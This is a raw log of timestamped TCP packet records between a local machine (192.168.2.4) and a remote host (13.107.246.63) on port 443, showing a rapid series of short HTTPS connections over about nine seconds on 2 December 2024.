Dec 2, 2024 17:57:04.433484077 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.433552027 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.433624983 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.433624983 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.433646917 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.433667898 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.435496092 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.435523987 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.435595989 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.435703039 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.435718060 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.626197100 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.627327919 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.627357006 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.628632069 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.628643990 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.726471901 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.729049921 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.729087114 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.729161978 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.729298115 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.729427099 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.729443073 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.729485989 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.729491949 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.735766888 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.735804081 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:04.735938072 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.736363888 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:04.736377001 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.160248041 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.165314913 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.165525913 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.165674925 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.165694952 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.170865059 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.170897007 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.171008110 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.171448946 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.171463966 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.180124044 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.180973053 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.180998087 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.182261944 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.182267904 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.660814047 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.663933992 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.663983107 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.663992882 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.664037943 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.664088011 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.664103031 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.664115906 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.664120913 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.667828083 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.667865038 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:05.667934895 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.668062925 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:05.668080091 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.156230927 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.157624006 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.157661915 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.161901951 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.161907911 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.263685942 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.264384985 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.264415026 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.265702009 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.265711069 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.476903915 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.477658033 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.477685928 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.478943110 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.478948116 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.591892004 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.594950914 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.595026970 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.595071077 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.595088959 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.595123053 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.595129013 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.599013090 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.599042892 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.599107027 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.599231005 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.599242926 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.708844900 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.712403059 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.712450981 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.712485075 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.712524891 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.712568045 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.712583065 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.712620020 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.712630987 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.716372013 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.716415882 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.716487885 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.716619968 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.716633081 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.894681931 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.895627975 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.895654917 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.896970034 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.896975040 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.915163994 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.917862892 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.917952061 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.917998075 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.917998075 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.918019056 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.918030024 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.923191071 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.923240900 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:06.923351049 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.923491955 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:06.923506021 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.330559015 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.333795071 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.333873987 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.333945990 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.333961964 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.333971977 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.333977938 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.337883949 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.337924004 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.338001966 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.338165998 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.338181019 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.452779055 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.453864098 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.453893900 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.455231905 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.455238104 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.900156021 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.902729988 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.902821064 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.915242910 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.915244102 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.915263891 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.915275097 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.918308973 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.918361902 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:07.918453932 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.918634892 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:07.918653965 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.368449926 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.369466066 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.369503975 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.370814085 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.370820999 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.622611046 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.623323917 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.623353958 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.624691963 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.624697924 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.749964952 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.750638962 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.750719070 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.752032042 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.752048016 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.804100037 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.807432890 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.807482004 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.807502031 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.807549000 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.807626963 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.807646990 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.807661057 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.807667017 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.811439037 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.811490059 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:08.811589003 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.811722994 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:08.811738968 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.076783895 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.079744101 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.079821110 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.079871893 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.079871893 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.079901934 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.079911947 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.083619118 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.083657026 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.083744049 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.083923101 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.083939075 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.202382088 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.205426931 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.205475092 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.205476999 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.205523014 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.205562115 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.205583096 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.205594063 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.205599070 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.210119009 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.210160017 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.210258007 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.210896969 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.210910082 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.220957041 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.221498013 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.221518993 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.222786903 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.222791910 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.707003117 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.707643986 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.707662106 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.708331108 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.708337069 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.779797077 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.783802986 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.783998013 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.784034967 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.784034967 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.784054995 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.784065008 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.788299084 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.788333893 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:09.788394928 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.788522005 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:09.788537979 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.152867079 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.155755997 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.155827045 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.155889988 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.155911922 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.155924082 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.155932903 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.159050941 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.159092903 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.159179926 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.159346104 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.159359932 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.559268951 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.560293913 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.560333967 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.561615944 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.561634064 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.995198965 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.995721102 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.995740891 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:10.996316910 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:10.996321917 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.004558086 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.007525921 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.007626057 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.007797956 CET	49913	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.007814884 CET	443	49913	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.014005899 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.014058113 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.014195919 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.014555931 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.014571905 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.132879972 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.133791924 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.133821964 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.134387970 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.134401083 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.448904037 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.452919006 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.452980042 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.453022003 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.453140974 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.453332901 CET	49914	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.453351974 CET	443	49914	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.459794998 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.459850073 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.459999084 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.460517883 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.460531950 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.590795040 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.594693899 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.594810009 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.594897985 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.594914913 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.594948053 CET	49915	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.594954014 CET	443	49915	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.601583958 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.601623058 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.601761103 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.602125883 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.602138042 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.666121006 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.666769981 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.666790962 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.667097092 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.667102098 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.932071924 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.933208942 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.933244944 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:11.934573889 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:11.934580088 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.132765055 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.135756969 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.135833025 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.135849953 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.135972023 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.136143923 CET	49916	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.136163950 CET	443	49916	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.142535925 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.142584085 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.142714977 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.143153906 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.143170118 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.369993925 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.372771025 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.372852087 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.372889996 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.372915030 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.372930050 CET	49917	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.372936010 CET	443	49917	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.376189947 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.376250029 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.376329899 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.376502991 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.376519918 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.733721018 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.734153986 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.734174967 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:12.734596014 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:12.734601021 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.169428110 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.172838926 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.172916889 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.172974110 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.172986031 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.172993898 CET	49918	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.172998905 CET	443	49918	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.175458908 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.175503016 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.175568104 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.175705910 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.175719023 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.282584906 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.282988071 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.283031940 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.283421993 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.283427000 CET	443	49919	13.107.246.63	192.168.2.4
